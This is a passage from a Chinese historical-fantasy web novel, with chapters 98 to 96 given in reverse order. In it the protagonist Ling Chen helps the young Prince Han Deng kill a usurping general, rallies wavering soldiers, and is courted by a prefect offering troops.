“是啊,流民,这……” 凌晨看着他们,认真说道:“真的是流民,我是被抓去从军的,进入军营后,推了几个月的车。后来有一次,遇到唐军袭营,阴差阳错之下救了当时还是节度使的郑王,才变成了亲卫营的士兵。” 此言一出,又是一阵窃窃私语。 “救了郑王!” “那可是郑王啊!” “你们听着挺简单,可却不知道当时的凶险。我们就两个人,没有援兵,身后的唐军还紧追不舍。我保护着郑王一路厮杀奔逃,最后前方连路都没有了,我们是从悬崖上跳下去才捡回一条命的。” 士兵们的脸上皆是浮现出害怕和惊讶,这么一听,侯爵……还真不好挣啊! “就这,离封侯还远着呢!也只是从先锋营小兵混成了亲卫营小兵,后面比这更凶险的磨难和危机,还有好多呢~” 这帮汉子纷纷用敬佩的目光看着凌晨,他们还以为凌晨是个绣花枕头,靠关系和背景得来的侯爵。没想到真是一步一步刀口舔血换来的,那确实不容易!也确实牛逼! “侯爷,小人听传闻说,我们王爷能从邺城走脱,回到长安,正是因为您的助力,这事儿是真的吗?” “当然是真的,当时晋王孙芝对你们王爷严密监控,安排了好多士兵看押,连只苍蝇都不许进出。” 立刻有士兵好奇的问道:“那您是怎么和王爷得脱的呢?” 凌晨神秘一笑,对他说道:“我趁着他睡着,偷偷钻进他的房间,偷了他的金批令箭,假传军令骗开了城门。后来他们反应过来,还派了一千轻骑穷追不舍,但我早就和汴京里的守军约定好了,反手就把追兵包围全歼了!” “厉害呀!” “要不说您能获封侯爵呢,就是把我们逼死,也做不到这些,想不到这么周密!” 不知不觉中,这帮汉子已经放下了戒心和距离,围坐在凌晨身边,睡意全无,倾听着他口述自己的传奇经历。 一个汉子好奇的询问道:“侯爷被朝廷封为临颍侯,是因为您是临颍人吗?” “不是,我娘子是临颍人,我……怎么说呢,我母亲娘家是陇右府的,我也算半个关陇人吧~” 一听到凌晨这么说,汉子们对他的态度更亲近了!当即就有个瘦汉转身从包袱里掏出一只陶碗,找了块还算干净的布擦了擦,殷勤的给他倒了一碗水。 凌晨笑着接过去,咕嘟咕嘟的喝完,擦了擦嘴后,把空碗递还给他:“多谢。” 汉子们看到这样的大人物居然如此平易近人,不但不嫌弃他们的用具脏,而且还对他们道谢,对凌晨的好感度噌噌往上飙。 那名年轻士兵明显是把凌晨当自己人了,忧心忡忡的问道:“侯爷,您觉得……王爷会惩罚我们吗?” 凌晨疑惑的问道:“为什么要惩罚你们?” 帐篷里的这些人纷纷垂下头颅,微微叹气。 “我们是韦籍的部下……韦籍要造反,被王爷诛杀了,我们……” 凌晨脸色正经的拍着身边士兵的肩膀,在他们的脸上一一扫过: “韦籍造反,是他权欲熏心,不自量力。与你们有什么关系?你们只是听令行事,并无过错。况且关中王已经下令,从贼者死,余者既往不咎,我以名声担保,他绝对不会追究你们。” 听到凌晨这样说,这些淳朴的汉子们才喜上眉梢。凌晨这样的好人,定然是不会骗人的。再说了,以他的身份,有必要骗他们这些大头兵吗? 那就是说,王爷真的不会事后算账。 “唉……” 他们还没高兴多久,凌晨又惆怅的叹了口气,把他们刚放下的心又钓在了嗓子眼。 “侯……侯爷,怎么了?” 凌晨看着他们说道:“我只是一想到马上就要向长安进发,万一蓝天侯韩珑包藏祸心,和韦籍那样有反意,该如何是好……” 帐篷里的汉子们闻言纷纷露出怒容,挥拳叫嚷道:“他敢!长安城是我们王爷的,他要是敢欺主,我们绝不答应!” “就是,哪怕在我们普通人家,都没有这样的道理!” “他要是敢不老实,管他是不是王爷叔父,小人活劈了他!” 凌晨伸出手示意大家安静后,叹着气说道:“我不是担心打不过他,我是担心万一兵戎相见,大家都是关中军,有些兄弟甚至互相认识,怎么下得去手啊……” 此言一出,众人皆是沉默了。 那名给凌晨端水的瘦汉愁容满面的说道:“侯爷说的在理,我兄弟就在冯翎当兵,此刻就在长安,要是真的像侯爷说的打起来……” 最先看到凌晨那名年轻士兵一拳砸在草席上:“我爹也在他们那里呢,要是在战场上碰到我爹,那得是……唉!” “我们村的都在他们那里,就我和两个伙计在王爷这边。” “我们庄刚好相反,大部分人都在这,只有零散几个在他们那。谁都没想到二公子会不遵先王爷遗命,和王爷开战。上次在长安本来能打的,就是因为王爷不忍我们骨肉相残,才带着我们撤退到这里……” 凌晨看着这些士兵懊恼、纠结的脸色,大抵明白了他们的想法。 想必那边的士兵也是,大家本来都是亲房乡邻,一起在关中王的领导下保卫家乡,抵御外辱,哪怕马革裹尸,也九死无悔。 可如今却沦落到要父子相残,兵戎相见的地步,再勇猛的士兵也会犹豫和迟疑。 不打,是最好的结果。 谁能让大家别打起来,大家就会支持谁。 告别了这些淳朴的汉子们,凌晨回到了县衙。沉思良久后,他在纸上落笔,一连写了三封信。一封给吕齐,一封给文若,一封给文训。 十天后,收到加急书信的吕齐立刻停下了手头的所有工作,亲自下场指挥,整个印刷工坊火力全开!成千上万张简笔画报和反战传单被整齐的印了出来,盖上印有“特急”字样的油布,整车整车的运往关中。 该车队拥有一级路权,军、官、民、商皆要让路!如果因为你的原因而延误了,你最好祈祷来找你的是官兵,而不是陈啸。 文若下令西路军驻守潼关,不得西进一步。军队不得出营、不得滋扰百姓,哪怕是路边无人看守的野果也不能摘取一颗,违令者军法从事,并且从重论处。 关中人的事,就让关中人自己来解决。他们西路军的任务只有两个:一个是为韩登兜底,一个是准备接下来的大战。因为孟蜀已经兵出斜谷,而夏国骑兵也已经整装待发了。 文训收到书信后,召集心腹大臣议事,决定推迟原本的称帝进程,并且叫韩意收拾行装,随时准备启程归秦。另外又吩咐文初和杜宣、冯延、薛定做好准备工作,待结果揭晓,他要亲自驾临长安。 若能尽收关陇人心,何妨劳躯走上一遭! 第98章 尘埃落定 “什么?!!” 韦籍双眼瞪大,又惊又怒!还不等他反应过来,凌晨已经欺身上前! 他右手空握成一个圈,只听到“嗤!嗤!嗤!”三道衣服破碎的声响,韦籍立刻感到腹部传来一阵剧痛!难以置信的低头看去,对方刚才明明空荡荡的手中,不知何时竟然变戏法似的多出了一柄尖刀! 刀卡在肋骨里抽不出来,凌晨左手一把薅住韦籍的头发,使劲上下切了切才抽了出来。 “噗!!” 韦籍不由自主的弯下了腰,喉咙一甜,鲜血从口中呕出,他挣扎着抓住凌晨,呲目欲裂:“你……你……” 下一刻,凌晨身后的韩登快步赶来,一把抽出韦籍腰间的宝剑,目光狠厉的插进他的脖子里,又猛的抽出,再空中洒出一道血花! “噗通!” 韦籍庞大的身躯摔倒在地上,脖子里的血咕咕往外冒,整个人全身间歇性的抽搐着,眼看着是药石难医,活不成了。 这一切发生的太快,在场众人完全没有反应过来,直到他们全都盯着躺在地上的韦籍、以及他身下流出的一大摊黑血时,这才意识到对方好像有点死了。 凌晨望着地上的韦籍,不屑的翘起了上嘴唇:“在我面前,装什么大尾巴狼!” “来人啊!统军被杀了!!” 那个抱着母鸡的士兵惊吓过后,这才想起来喊人。门外那些持刀士兵听到喊叫后,扭头一看,我草!! “哒哒哒~” 几十名士兵全都手持武器冲进大堂里来,望着倒在地上的韦籍和手持滴血利刃的凌晨、韩登二人,懵了。 不是说今天是来杀别人的吗?统军怎么被杀了?? “奉关中王命!诛杀逆贼韦籍!得韦籍亲眷人头者,赏百金,官升三等!从贼者诛九族!!” 凌晨高举起沾染着鲜血的刀,怒视着这些士兵,等待着他们作出反应。 这些士兵们你看看我,我看看你,明显都有些不知所措。柳知县将他们的表情尽收眼底,明白他们需要一个台阶和示范,于是急中生智,“扑通”一声跪了下来: “我等深受先王厚恩,愿为关中王诛杀逆贼,讨平不臣!绝不与逆贼为伍!” 其他太守、知县也纷纷跪了下来,附和着柳知县。 “我等绝不与逆贼为伍!” 这帮士兵虽然都是韦籍部下,但现在韦籍已经躺在地上睡的安详,眼看着是不可能带领他们走向辉煌了,也没有人能约束他们。又见这么多的高级官员统统都跪了下来,立刻就有了主意。 这个时候,就看谁先表忠心了,事后关中王可能不会重用他们,但也绝对不会有性命之忧! 领头的小校咬着牙把心一横,猛的转身揪住先前抱鸡的那名士兵,一刀捅进了他的腹部!攮死他后,急忙跪倒在了地上:“末将世受君恩,愿为王爷剿灭不臣!诛杀逆贼!” 韩登将手中的剑反手一横,对他说道:“过来!此剑赐与你,如本王亲临!从今天起,你就是韦籍部新的统军了!” 那小校见状脸色大喜,连忙低头双手高举着走上前来,恭敬的从韩登手中接过宝剑。凌晨在旁一直盯着他,随时准备对他掏心掏肺。 将剑交给这名小校后,韩登双手负立,目光冷冷的扫向其他士兵。没有人敢跟他对视,先王的铁血余威还未散去,此刻在新主的身上隐隐重现。 “我等誓死追随关中王!绝无二心!” “好!” 就在韩登等人以为事情已经结束了的时候,刚刚受赏的小校小心的在韩登身边说道:“禀王爷,其他人不足为虑,但韦籍之弟韦况仍统领着城西校场之众,末将担心他会狗急跳墙……” 凌晨冷笑道:“你等在此护好关中王和各位大人,那个什么韦况,我来解决。” 说罢,他便在众人的注视下走到韦籍的尸体前,挥刀剁向他那肥大的脖子! “呜——” 用韦籍和城门守将的人头命令守城士兵打开城门后,牛角声响彻云霄。城门外的旷野上,烟尘滚滚,旌旗蔽日!贾骐一马当先,身后是望不到头的洛阳乡军。 韦况在得知兄长夺权被反杀后,立刻引兵穿街过巷,直奔县衙。却在太华街遭到了新统军和手下士兵的顽强阻击。 现在已经没有退路了,只有死保关中王,才能换来一线生机!跟着韦家兄弟是叛贼,保护关中王还能得个忠义的名声,没得选了,干吧! 双方都是曾经的袍泽,互相认识的也不少,战术水平也都相当,场面一时间相持不下,刀剑碰撞,血肉横飞! “小齐!你为什么要背叛兄弟们??” “醒醒吧谭二哥,你被韦家兄弟骗了!是他们要背叛关中王!” “什么?!” “三叔!你怎么……日你妈!你干什么?!那是我亲叔!” “白娃!快带着你伍里的娃娃们过来,韦家两兄弟都是反贼!跟着他们没活路的!” 场面混乱不堪,惨叫连连,嘶哑的喊杀声中混杂着交流、疑惑、迷茫。这一切乱象,在韩登亲自爬上县衙门头,朝着满街厮杀的士兵们喊出韦况是反贼后,才迎来了转机。 你的组长和厂长发生了争执,你听谁的? 组长要打厂长,你帮谁? 我告诉你,帮谁都是错的。正确的做法是谁都不帮,在一旁掏出手机偷偷录频,回去发朋友圈! 于是,许多韦况带来的士兵都迟疑了,也不往前冲了,有些甚至已经开始往后退,此举可能没有功劳,但绝对不会被胜者怪罪。 什么?督战队? 你这么爱凑热闹,你怎么不上?不上别挡路,眼下这么混乱,大家都在窝里斗,敢拦着我逃命,你看我敢不敢攮你! 县衙大门前突然出现了诡异的画面,满地尸体,血流成河,但大家都握着武器不动了。韦况指挥着心腹一连砍了好几个退缩的士兵,不仅没有起到震慑的作用,反而让周围士兵离他更远了。 就在这时,隆隆的马蹄声和整齐的踏步从其他街巷传来,“吼~吼~”的军喝声统一嘹亮。 贾骐带着洛阳乡军到了。 “奉关中王命!诛杀叛贼韦氏一族,余者不究!不想死的通通闪开!” 士兵们听到这话,又见这帮人军容齐整,于是纷纷往巷子里挤着躲避。实在挤不进去的就将武器丢在地上,背贴着墙壁高高举起双手,尽量让自己做出一副呆萌无辜的表情。 也有聪明的,刚刚还在冲击县衙,此刻却转过身,站在了护卫县衙的士兵面前,脸不红心不跳的将刀口对向了韦况和他的一小撮心腹死忠。 人心尽失的韦况和那几十个心腹,哪里是洛阳乡军的对手,连六分投都没熬到,脑袋就被强制性的搬了家。 被困在城内的太守和知县们全部都出城回到自己的大营,重新执掌了部队。华阴县城被贾骐率兵接管,韦籍旧部被调到城外驻扎。 至此,尘埃落定。 韩登实在是太拉了,查查案子,追捕犯人还行。统兵作战,执掌一方实在是有些勉强。不仅震慑不了手下将军,更玩不过韩珑这条老狐狸。 凌晨严重怀疑,他甚至都玩不过同父异母的韩临。 这也是没地儿说理的事情,韩临、韩珑久居关中,军中、官衙到处都是和他们有着交集和联系的人。韩登长年在外,毫无根基,也没什么威信。 他唯一的倚仗就是韩珏留给他的忠义之士,以及名正言顺的正统继承权。 不过不重要,先王嫡长子的身份摆在这里,一切就都好办。就连韩珑也不敢直接捅穿这层窗户纸,而是以迎回韩登的借口行事。 但这老东西也是够阴险的,明着下套。 我是忠臣,家产已经给你夺回来了,你回长安继承吧~ 不敢来? 大家都看到了,是他不堪大用,我也只能勉为其难的虚担大任,带领大家继续为了美好的生活而奋斗。 真敢来,就在长安城里当笼中雀吧~ 等我以你的名义干掉那些兄长的旧部后,大侄子,二叔会好好疼爱你的~ 眼下的情况还是有些棘手的,文若的军队马上就到,但不能用。 你借外人的兵,处理我们关中内部的事,就算得胜,也会惹人非议。尤其是接下来文家肯定是要吞并关中地区的,不能服众人之心,后续一定会有无穷无尽的麻烦。 现在唯一行之有效的方法,就是韩登带着手底下这些忠于先王的旧部们,以及贾骐的人马,正面击败韩珑,再主持与中原合并,天下一家。 为什么中原的军队不能借,而贾骐的兵却可以用?因为他是第三方,甚至贾建的地位低于韩登,属于是仗义襄助,给人的感觉没那么膈应。 事实上,关中贵族们也清楚,经历了这样的内乱后,关中已经失去了争衡天下的可能。北有夏国磨刀霍霍,南有孟蜀虎视眈眈,和中原合并,平等的同台竞技,是关中士族的唯一出路。 以往韩珏在时,他的政治手腕既强硬又灵活。孟蜀没有北上之心,中原混乱、东边也没有威胁,大家要对付的只有夏国一家。 而现在,孟蜀在南边发展不下去,逐渐将目光移向了北方。中原已经统一,夺取关中是毋庸置疑的。自家内部还生了这样的乱子,统治者家族争权夺利,自相残杀。 再这样下去,被三家瓜分都是有可能的,政治地位会很低下。当然,这里指的是他们这些士大夫,而不是百姓。 没有谁会闲得无聊,去区别对待普通老百姓。除非他脑子秀逗了,想体验一把农民起义。 农民起义最可怕的地方,不是聚集了多少泥腿子,杀了几个地方官,开了几个粮食仓。 而是向全天下释放出一个危险的信号—— 新的赛季开始了。 第97章 这是你妈 华阴县,府衙。 韩登独自坐在正堂的上座,右手小臂搭在桌上,往日阳光俊朗的面容此刻却显得有些憔悴,眼白中还带有血丝,望着父亲的灵牌,一言不发。 父亲不是个好人,脾气暴躁,动辄就喜欢打骂旁人,喝了酒连母亲都会打,小时候的韩登几乎是在他的鞭子下长大。除了长姐,全家上下就找不出一个没有被他动过手的人。 十岁那年,周天子的内官踏进家门,父亲更是暴躁异常,在后庭扇肿了二娘的脸。最后却不得不笑脸相迎,对那内官低声下气。 连他也想不到,父亲居然也会有强颜欢笑的一面。 被内官牵着手登上马车的那一刻,韩登没有哭闹,只是回头望了一眼。母亲捂着胸口,哭的伤心欲绝;父亲皱着眉头望向自己,却罕见的没有呵斥母亲。 “去了好好听陛下的话,不要像在家里一样胡闹!” 无所谓。 他恨父亲,只想快些逃离他的掌控,天高任鸟飞,海阔凭鱼跃。除了母亲和已经嫁去汝南的长姐,他谁都不在乎。 再次见到父亲后,韩登也没有多少喜悦。只是惊讶的发现,他已经两鬓斑白,苍老了许多。 原来权倾天下的关中节度使,也只是个头发花白的蹒跚老人,是自己的爹。那一瞬间,他感觉有些不真实,像是做了一场大梦。 但是父亲很高兴,大摆筵席,邀请了一堆不认识的外人在家里推杯换盏。习惯了孤独的他,很不喜欢这种气氛,就连父亲喊着叫他见人也不屑一顾,懒得应酬。 背靠着月门,他听到父亲喝醉后对客人们笑骂道:子不类父,一点都不像他老子这么仗义豪爽。 父亲的身体很不好,也不像年轻时那样独断专行、蛮横粗暴了,反而隐隐有些让着自己,似乎在意起自己的想法。 “答的时间不多了,那些叔伯都是答的老兄弟,你要尊重他们的意见,但也要防着他们。 你外兄弟,尽量不要加害,给他留条性命,也给你二娘留个念想。 做撒事情都要考虑再三,不要冲动,要懂得忍让,学会知足。” 离别的日子太长,相聚的时光太短。十二年光阴匆匆逝去,夜半梦醒后,才发现原来已经和他阴阳相断,天人永隔。 父子亲情,千秋霸业,尽成空。 “唉……” 轻叹了一口气后,韩登抬起手,抚摸着韩珏的灵牌,久久不能平息心中的激荡。他还是无法接受,记忆中那个顶天立地的男人,再也不能跟自己说话,也不会对自己喝骂了。 黯然神伤了一会后,他将灵牌放回桌子中央,起身走出屋子。院中阳光普照,却透着一丝清寒。 韩登背着手在府衙里漫无目的的闲逛,身后跟着两个护卫,从花园逛到了署舍,从前堂逛到了后衙,最后鬼使神差的来到了监牢里。 阴暗潮湿的牢笼中,关押着许多囚犯,隐约还能传来一阵惨叫声,只有这种熟悉的场景,才能让他心安。 在刑部做事时,他就是在这种环境下度过了漫长的质子生涯,克服了离家的恐惧,习惯了孤独。 脑海中萦绕着混乱的想法,韩登漫无目的的在一间间牢房前走过。 突然,他表情一愣,停住了脚步。 哪个活爹把这玩意抓进来的?! 隔着木牢栏,凌晨正蹲在尿渍析出的白硝前,手里握着一根稻草,神神叨叨的念念有词:“一硝二硫三木炭……一硝二磺三木炭,嘶……是这个硝吗?” “咳咳~” 韩登握拳放在嘴边,咳嗽两声。 凌晨听到咳嗽声,抬起头一看,二人四目相对,都忍不住笑了起来。 “啊~是关中王来啦?有失远迎有失远迎~” “放肆!竟敢如此对……” 护卫骂到一半,就被韩登伸手止住了,他笑着说道:“开门。” 原本凌晨是想教韩登唱歌的,唱个什么歌呢?就唱个“总是向你索取却不曾说谢谢你,直到长大以后,才懂得你不容易~”,以此来表达自己对逆子的无奈和宠溺之情。顺带再隐晦的提提当年青柠给他做的那碗面,看看他能不能良心发现。 咱也不是那不懂事的人,长安就算了,把凤翔或者兴德封给自己,总不过分吧?毕竟这么多年了,利滚利算下来也差不多。 但是转头一想,韩珏刚刚去世,开这种地狱玩笑容易失去好基友,算了,下次再找机会。 在韩珏的灵位前郑重的进上三炷香,跪下来点燃纸钱,再奠酒一杯。等到纸钱燃尽后,凌晨双手伏地,老老实实的磕头行礼。 祭拜过后,韩登与凌晨一同坐在了下首的椅子上。不知道为什么,在见到凌晨后,韩登突然就心情好了很多,感觉不那么难受了。 “你没事跑到大牢里去做什么?谁这么大能耐把你抓进去的?你告诉我,我一定要重重赏他,高低也是个人物!” 凌晨“切”了一声,不屑的说道:“我是好久没有蹲大牢了,怀念一下当年的日子,顺道体验一下关中的牢饭。我要是想走,谁特么拦得住?你拦的住吗?哼~” 韩登无语的笑了,摇了摇头后,望着凌晨有些感动的说道:“我没想到你真的会孤身一人前来,这么危险……” “谁告诉你我是一个人来的?” 顿了顿后,凌晨又不等韩登开口询问,无所谓的甩着手说道: “哎…其实也没区别,他们就是来洗地的,真干活还的我来。我看你信里说的惨兮兮的,有那么夸张吗?现在你可以告诉我了,是哪个傻逼嫌命长了急着去投胎?我这就去送他见祖宗。” 韩登听后,扭头看了一眼屋外,这才凑近凌晨,低声说道: “如果只有我一个,自然不惧,可我母亲、姨娘们、还有娘子都在他们手中,我纵使有千般力气,也使不出来……” 凌晨眼珠子转了转,压低声音问道:“她们在哪里?” “她们在……” 当夜,华阴县城四处火起,火光映红了半片天空。城中纷乱吵嚷,疑是歹人作祟,关中军统军韦籍忙疯了! “将军!不好了,官仓走水了!” “将军!校场营舍塌了!” “将军!四夫人和……和府中护院赤身裸体,被人绑在一起……” “啊!!!” 身材高大壮硕、膀大腰圆、脖子比脑袋还粗的韦籍勃然大怒!一把将桌子上的笔墨纸砚通通拨飞,抽出刀就飞奔出衙,直冲家中。 结果刚到家门前,部下来报,安顿着关中王家眷的宅院失去音讯。一直负责联络的人不见消息,跑去查看,结果发现满院横尸,全是他的派去“保护”的护卫…… 韦籍这才反应过来,也顾不得绿帽子了,急匆匆的领着人赶到华阴县衙,高声喊着“末将特来护驾”,闯了进去。 看到韩登还在后,他这才长出了一口气,只要这尊佛还在,天就塌不下来。 “报——将军!” 火把通明的庭院前,一个小兵冲了进来,跪在了韦籍身前。 韦籍眉头一皱,望着小兵,眼神斜向一旁的韩登。 小兵这才反应过来,转身面向韩登,单膝跪地抱拳说道:“禀关中王,东城门遭遇歹人袭击,守城士兵尽皆被人斩杀,歹人似乎……似乎劫持了老夫人和王妃,已经出城而去。林将军派小人前来请令,是否派兵追击?” 韦籍感觉自己的脑袋快要炸了!经过这么久的运作,原本忠于韩珏、现在转效韩登的武将已经被自己清除的差不多了,城中都是自己的部下。赶来勤王的各地太守、知县都是人在城内,兵在城外,是谁还能调动这么多人作乱?! “夜深了,王爷早些休息吧!不必担心,末将一定会派人将老夫人救回来的。” 韦籍和韩登说话时,连礼都不行,隐身在韩登旁边的凌晨瞅着这老梆子,冷笑连连。 一夜杂乱过后,韦籍这才反应过来,贼人制造混乱的最终目的,就是为了把韩珏的遗孀和关中王妃劫出城去,那下一步,应该就是要把韩登也弄出去了。 韩登要是被带出城去,又没有了家人的掣肘,他第一个要干的肯定不是韩珑,而是自己。 还好自己先前保密工作做的好,把那些太守知县们骗了进来,让他们兵将分离。 不行,不能再等了,今天必须让他们站队支持自己! 顺我者昌,逆我者……就和这个乳臭未干的小子一起下去见韩珏吧! 浅睡了一个时辰后,韦籍以韩登的名义在府衙升帐议事,将软禁在城里的各地太守、知县全都聚集到了县衙中。 县衙内外到处都是持枪握刀的士兵,明显比平时要多,这些从兴德府、凤翔府、长安城赶来追随韩登的先王旧部们,也是进城后才知道一直忠于先王的韦籍有了单独创业的心思。 如今兵马都在城外,城里全是韦籍的人,他们自己身陷囹圄,debuff叠满了属于是。 现在韦籍升帐议事,能有什么好事? 当十几名太守、知县走进县衙大堂,看到堂中站着一名士兵,怀中抱着的一只鸡时,皆是面露古怪之色。 韩登高坐上首,面无表情。 韦籍握着配剑的剑柄,站在韩登身前,目光在众人身上扫过,眼神阴鸷,让人不寒而栗。 见人都到了,一排军士出现在大堂门口,背对着堂内,“锵锵”抽出刀剑。 堂内鸦雀无声。 “启禀王爷,昨夜火起,末将原以为是乱象,哪曾想今早醒来,营中军士捉得一只火凤,正合凤鸣岐山之说。末将不敢怠慢,连忙叫人带着这只凤凰来见王爷,此等祥瑞现身,岂不预示我主即将飞腾云端,翱翔九天?” 韩登笑了,众官懵了。 下一刻,在场之人表情不一,有人看向门外,有人面露惧色,有人咬牙切齿,有人目光幽寒。 你特么怎么不去捉头鹿来,说它是马呢? 韩登的脸上丝毫不见慌张之色,反而饶有兴趣的顺着韦籍说道:“韦统军昨夜没休息好吧?这分明是只鸡,怎么能说是凤凰呢?” 韦籍握着剑柄看了一眼韩登后,又扬起不存在的下巴看向堂下众官:“既然王爷与臣所见不同,不如就叫众位太守知县分辨分辨,看看此禽究竟是鸡是凤。” 说罢,他走下台阶站在堂中,扫视了一圈后,走到一名脸色阴沉的知县面前,开口问道:“柳知县,此~为何物啊?” 这名姓柳的知县冷哼一声,眯起眼睛,语气不善的答道:“鸡就是鸡,永远成不了凤凰!” 韦籍听罢,眼神冷漠的上下打量了柳知县一眼,已经在心里给他判了死刑。 末了,他又转身来到另一边,皮笑肉不笑的看向一名紧张到衣袖都有些抖的官员:“李太守,依你之见,这是什么?” 李太守无助的看了看堂中众人,又将目光落在韦籍不停摩擦剑柄的大拇指上,吞了吞口水后,闭上眼睛艰难的说道: “这……这是一只凤凰……” 韦籍开心的笑了,点着头说道:“很好~” 说罢,他再次转身,在场中寻找起下一位幸运儿来。就在这时,他冷不丁的发现,韩登身边不知道从什么时候起,多了个年轻人。 韦籍皱着眉头走到凌晨面前,疑惑的看了看他,随即眉头一松。一个手无寸铁的毛头小子,又能干什么呢? 一念及此,韦籍继续自己的表演,指着士兵怀中的老母鸡悠然问道:“年轻人,你觉得这是什么?” “这是你妈。” 第96 最伟大的操盘 时间紧任务重,再不快点韩登那逆子的小命就没了。 因此,凌晨也来不及慢慢安排,让大舅哥照顾好青柠、给老文送去一封信、夜里趁着吕家大公子和她娘子睡着时,在他们床头绑了把倒悬的剑后,就匆忙出发了。 刘廷让早就集齐了五百名由颍川子弟组成的护庄队,一行人星夜奔驰,朝着关中进发。 昨夜交了公粮的吕侑原本做着香甜的美梦,迷迷糊糊中摸到了自家娘子柔软的身躯,身体诚实的出现了反应。于是他睁开了眼睛,准备在娘子身上使出前两日在柳南坊和烟姐儿共同开发出的最新招数。 但是下一刻,他就看到了悬在自己头顶的那柄绑结并不怎么牢固、剑尖泛着幽冷寒光的宝剑。 大脑猛然清醒、后背冷汗渗褥、二弟瞬间萎缩。 “来人啊!!快来人啊!!” 随着凄厉的呼喊响起,整个吕府顿时乱作一团。 众所周知,想要从汴京前往长安参加股权再分配学术研讨和冷兵器对撞试验交流会,最便捷的方法就是沿着黄河一路向西,穿过虎牢关、潼关等雄关险隘,直线最快。 但现在有个问题,洛阳府尹贾建,是这里的龙头老大,过人家的地盘不拜码头,是不行的。 所以凌晨一开始就做好了心理准备,要么我过去,要么你下去。 但是让他感到意外的是,贾府尹也早就做好了准备。 虎牢关城门大开,贾府尹亲自立在道边,带着一大帮子仪仗队对凌侯爷的到来表示热烈欢迎,就差派两个童男童女来献花了。 凌晨让刘廷让带着护庄队停在原地静观其变,他自己翻身下马,隔着老远就抱拳堆笑走了过去。 “哎呀~~贾大人,别来无恙!上次邺城一别,你我已经许久未见了!大人精神矍铄,风采依旧啊!” 硬土官道前,劲风卷起沙土,吹的贾建官服猎猎作响。这位府尹大人刀削般的脸上挤出一丝友善的笑容,举着他那把标志性的扇子,也态度热络的迎了上来。 “老夫眼看着就要黄土埋到脚脖子了,倒是侯爷一如从前意气风发。老夫今早听到树上鹊叫,想来必是有贵人登门,便早早在此恭候着侯爷大驾了~,” 凌晨连忙脸色惶恐的说道:“大人折煞晚辈了,晚辈路过贵地,本就想着要来拜会大人的。叨扰大人清静,内心已是不安,如何当得大人前迎?” 贾建哈哈笑着,十分自来熟的握住凌晨的胳膊说道:“你我忘年之交,休言这些客套说辞,老夫已经在家中略备薄酒,侯爷可不能推辞啊!” “既然如此,那凌晨就恭敬不如从命了~” 说罢,凌晨朝着后面的刘廷让招呼一声,贾建也对旁边的官员使了个眼色。小弟们互相对接去了,凌晨被贾建拉着,开开心心的进入了城门。 凌晨想过两个可能:贾建惧怕中原势大,开关放他过去。或者干脆闭门不出,装瞎子聋子。 但他主动迎接,甚至亲自来到阵前,将自己立于险地,就很奇怪。他难道不怕凌晨把他绑了丢给文训吗? 贾府,牡丹园。 花明果艳,天高云淡,满园芬香清气怡人。风吹纱动,沁芳亭中摆满时令果蔬,一壶淳酒斟满新杯,贾建和他儿子、夫人、女儿亲自作陪,瞅这阵势还是家宴规格。 有趣~ “来来来,侯爷,请满饮此杯~” 贾建亲自端起酒杯要敬凌晨,凌晨为难的看着酒杯说道:“大人实在太客气了,长者赐,本不该辞。奈何凌晨军务在身,只想来一瞻尊颜,以叙渴仰之思,便要出发。实在不宜饮酒,恐误了军机大事。” 贾建闻言一愣,紧接着恍然大悟,热情的走到凌晨身边,端起他的酒杯给自己的儿子和女儿一人分了点,令他们饮下,这才对凌晨笑着说道: “侯爷请看,此乃春桃果酒,小女尚且饮得,不会醉酒误事。侯爷就吃一杯,免得内妇儿女笑话老夫~” 啊这…… “罢了,既然大人有命,盛情难却,凌晨便胡乱吃上一杯。失礼之处,还望海涵~” 看着凌晨喝下后,贾建十分开心的笑了,对女儿说道:“雪妍,还不快为侯爷满上?” 凌晨连忙起,起身拦着说道:“这怎么行!凌晨何德何能,敢劳驾小姐亲自斟酒,实不可行!” 贾建佯装生气道:“哎~~到了老夫这里怎么还如此见外?这么客气干什么?侯爷可是郑王礼遇有加的人,就连逆贼孙芝当初都甘愿为你续杯。小女能侍奉侯爷,是她的荣幸,再要推辞,便是瞧不上了~” 我尼玛,这老小子葫芦里究竟卖的什么药?要杀我根本不用费这么大劲啊,刚进城就该喊出埋伏的刀斧手了。 凌晨只好千恩万谢的向贾建的女儿表示感谢和惶恐,宾主尽欢,其乐融融。这要是让不知情的看到,还真以为他们是世交呢~ 酒过三巡,菜过五味,贾建终于挥手叫亭子里的侍女都退出去了,只留下他们一家四口和凌晨。 “老夫斗胆一问,侯爷此番莅临荒州,不知欲往何处?” 凌晨捞菜的手顿了一下,放下筷子看向贾建。 “想必大人也已经听说了,关中王不幸逝世,关陇内变,世子韩登与我情同手足,我欲前往助之。” 贾建捋着胡须沉思片刻,点了点头后,抬起头目光锐利的看着凌晨。 “不知侯爷此来,带有多少兵马?” “嗯?昂,就带了本部五百校刀手,入关前大人不是看到了吗?” 贾建皱眉问道:“此事……郑王不知道吗?” “哦~”凌晨如实答道:“此行走的匆忙,我只送去一封书信,毕竟是亲家的家务事,郑王会如何抉择,我也不敢妄加揣测。” 听到这话后,贾建沉默不语,不知道在想些什么。 他的夫人和女儿也没有多话,倒是他儿子举起酒杯,又要敬酒,凌晨就端起酒杯与他对碰,等着贾建开口。 “如今的关中兵荒马乱,侯爷只带五百人岂能成事?而且万一遇到没见识的蠢贼,也是麻烦。” 凌晨疑惑的望向贾建:“那大人的意思是……” 贾建轻吐了一口气,似乎是下定了某种决心一般,面色决然的对凌晨说道: “如果侯爷不嫌弃的话,我这不成器的儿子也在兵营里待过几天,就让他跟着,助侯爷一臂之力,不知侯爷意下如何?” “嘶……这……” 凌晨转头看向贾建的儿子,标准的世家公子,沉稳内敛,从开宴以来就举止得当,不冷淡也不火热,性子倒是不错。就是不知道能力如何,素质如何。万一带出去不听指挥被人玩死了,我跳进黄河也洗不清啊! 直到此时,凌晨才反应过来贾建想干什么。 当初孙芝裹挟周帝,贾府尹又很不幸刚好是晋王爷的邻居,自然是要投靠他。后来孙芝拉了,应开疆跑到辽东堆雪人去了,他夹在关中和中原两股势力中间,瑟瑟发抖。 如今关中大乱,眼瞅着是不行了,以文训往日的表现来看,挥师西进武装调停肯定是板上钉钉的事,保不齐临颍侯就是先遣探路的。 不趁着这个时候纳投名状,就再也没有机会了。 这也就难怪他会这么主动热情的迎接凌晨,还喊来一大家子陪酒了。 可是,他儿子对凌晨来说,完全就是个累赘啊…… 见凌晨面露为难之色,并没有立刻答应,贾建急了,连忙补充道:“若是侯爷嫌他碍手碍脚,就叫他带五千乡军在前头开路,不晃侯爷的眼,如何?” 嗯?? 